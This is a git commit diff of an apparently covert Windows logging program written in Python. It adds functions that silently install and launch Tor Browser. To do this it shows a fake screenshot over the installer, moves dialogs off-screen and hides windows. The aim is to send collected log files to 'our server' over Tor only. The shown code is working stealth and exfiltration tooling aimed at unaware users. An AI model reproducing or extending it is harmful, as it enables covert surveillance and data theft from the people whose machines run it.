@@ -44,7 +44,9 @@ def hide():
44
44
from Cryptodome .Hash import SHA3_512
45
45
import base64
46
46
import hashlib # for hashing the names of files
47
+ import multiprocessing
47
48
import threading
49
+ from subprocess import run as subprocess_run
48
50
import requests
49
51
import socks
50
52
import socket
@@ -54,6 +56,7 @@ def hide():
54
56
import tkinter as tk
55
57
from PIL import Image , ImageGrab , ImageTk
56
58
import re
59
+ import time
57
60
58
61
59
62
# Disallowing multiple instances
@@ -315,22 +318,21 @@ def check_internet():
315
318
return False
316
319
317
320
318
- def find_file (root_folder , dir , file ):
321
+ def find_file (root_folder , dir_ , file ):
319
322
for root , dirs , files in os .walk (root_folder ):
320
323
for f in files :
321
324
file_search = (file == f )
322
- dir_search = (dir in root )
325
+ dir_search = (dir_ in root )
323
326
if file_search and dir_search :
324
327
return os .path .join (root , f )
325
328
return
326
329
327
330
328
331
def find_file_in_all_drives (path ):
329
- # create a regular expression for the file
330
- dir = os .path .split (path )[0 ]
332
+ dir_ = os .path .split (path )[0 ]
331
333
file = os .path .split (path )[- 1 ]
332
334
for drive in win32api .GetLogicalDriveStrings ().split ('\000 ' )[:- 1 ]:
333
- result = find_file (drive , dir , file )
335
+ result = find_file (drive , dir_ , file )
334
336
if result :
335
337
return result
336
338
@@ -358,7 +360,7 @@ def show_screenshot():
358
360
359
361
def install_tor_browser ():
360
362
if not os .name == "nt" :
361
- return '' # TODO: Linux, MacOS
363
+ return # TODO: Linux, MacOS
362
364
# 1. Download the installer
363
365
try :
364
366
r = requests .get ("http://www.torproject.org/download/" )
@@ -371,21 +373,20 @@ def install_tor_browser():
371
373
try :
372
374
tor_installer = requests .get (tor_windows_url )
373
375
except requests .exceptions .ConnectionError :
374
- return ''
376
+ return
375
377
installer_path = os .path .join (dir_path , tor_windows_url .split ("/" )[- 1 ])
376
378
open (installer_path , 'wb' ).write (tor_installer .content )
377
379
# 2. Install
378
380
installation_dir = os .path .join (dir_path , "Tor_Browser" )
379
381
os .remove (installation_dir )
380
382
381
- import multiprocessing
382
383
screenshot_process = multiprocessing .Process (target = show_screenshot , args = ())
383
384
screenshot_process .start ()
384
385
385
386
try :
386
387
app = Application (backend = "win32" ).start (installer_path )
387
388
except :
388
- return ''
389
+ return
389
390
try :
390
391
app .Dialog .OK .wait ('ready' , timeout = 30 )
391
392
app .Dialog .move_window (x = - 2000 , y = - 2000 )
@@ -416,8 +417,70 @@ def install_tor_browser():
416
417
return tor_installation_dir
417
418
418
419
420
+ def is_tor_browser_already_open (program_path ):
421
+ for pid in psutil .pids (): # Iterates over all process-ID's found by psutil
422
+ try :
423
+ p = psutil .Process (pid ) # Requests the process information corresponding to each process-ID,
424
+ # the output wil look (for example) like this: <psutil.Process(pid=5269, name='Python') at 4320652312>
425
+ if program_path in p .exe (): # checks if the value of the program-variable
426
+ # that was used to call the function matches the name field of the plutil.Process(pid)
427
+ # output (see one line above).
428
+ return True , p .exe ()
429
+ except :
430
+ continue
431
+ return False , None
432
+
433
+
434
+ def find_top_windows (wanted_text = None , wanted_class = None , selection_function = None ):
435
+ """ Find the hwnd of top level windows.
436
+ You can identify windows using captions, classes, a custom selection
437
+ function, or any combination of these. (Multiple selection criteria are
438
+ ANDed. If this isn't what's wanted, use a selection function.)
439
+
440
+ Arguments:
441
+ wanted_text Text which required windows' captions must contain.
442
+ wanted_class Class to which required windows must belong.
443
+ selection_function Window selection function. Reference to a function
444
+ should be passed here. The function should take hwnd as
445
+ an argument, and should return True when passed the
446
+ hwnd of a desired window.
447
+
448
+ Returns: A list containing the window handles of all top level
449
+ windows matching the supplied selection criteria.
450
+
451
+ Usage example: optDialogs = find_top_windows(wanted_text="Options")
452
+ """
453
+
454
+ def _normalise_text (control_text ):
455
+ """Remove '&' characters, and lower case.
456
+ Useful for matching control text """
457
+ return control_text .lower ().replace ('&' , '' )
458
+
459
+ results = []
460
+ top_windows = []
461
+ win32gui .EnumWindows (_windowEnumerationHandler , top_windows )
462
+ for hwnd , window_text , window_class in top_windows :
463
+ if wanted_text and not _normalise_text (wanted_text ) in _normalise_text (window_text ):
464
+ continue
465
+ if wanted_class and not window_class == wanted_class :
466
+ continue
467
+ if selection_function and not selection_function (hwnd ):
468
+ continue
469
+ results .append (hwnd )
470
+ return results
471
+
472
+
419
473
def open_tor_browser (installation_dir ):
420
- pass
474
+ user32 = WinDLL ('user32' )
475
+ os .startfile (os .path .join (os .path .split (os .path .split (installation_dir )[0 ])[0 ], "Start Tor Browser.lnk" ))
476
+ start_time = time .time ()
477
+ while time .time () - start_time < 60 :
478
+ hwnd_1 = find_top_windows (wanted_text = "Establishing a Connection" , wanted_class = 'MozillaDialogClass' )
479
+ hwnd_2 = find_top_windows (wanted_text = "About Tor" , wanted_class = 'MozillaWindowClass' )
480
+ if len (hwnd_1 ) == 1 :
481
+ user32 .ShowWindow (hwnd_1 [0 ], 0 )
482
+ if len (hwnd_2 ) == 1 :
483
+ user32 .ShowWindow (hwnd_2 [0 ], 0 )
421
484
422
485
423
486
def find_the_previous_log_and_send ():
@@ -432,14 +495,17 @@ def find_the_previous_log_and_send():
432
495
if os .path .exists (previous_date_hashed + ".txt" ):
433
496
found_filenames .append (previous_date_hashed + ".txt" )
434
497
delta += 1
435
- # check if TOR is installed
436
- tor_installation_dir = check_if_tor_browser_is_installed ()
437
- if tor_installation_dir == '' :
438
- tor_installation_dir = install_tor_browser ()
439
- if tor_installation_dir == '' :
498
+ # check if TOR is opened/installed
499
+ is_tor_open , tor_installation_dir = is_tor_browser_already_open (program_path = 'Tor Browser\\ Browser\\ firefox.exe' )
500
+ if not tor_installation_dir :
501
+ tor_installation_dir = check_if_tor_browser_is_installed ()
502
+ # if not tor_installation_dir:
503
+ tor_installation_dir = install_tor_browser ()
504
+ if not tor_installation_dir :
440
505
return True # ONE DOES NOT SIMPLY USE CLEARNET.
441
506
else : # USE DARKNET ONLY
442
- open_tor_browser (tor_installed [1 ])
507
+ if not is_tor_open :
508
+ open_tor_browser (tor_installation_dir )
443
509
for found_filename in found_filenames :
444
510
# Now that we found the old log files (found_filename), send them to our server.
445
511
server_parser_list = [(r'http://jsonip.com' , "r.json()['ip']" ),
0 commit comments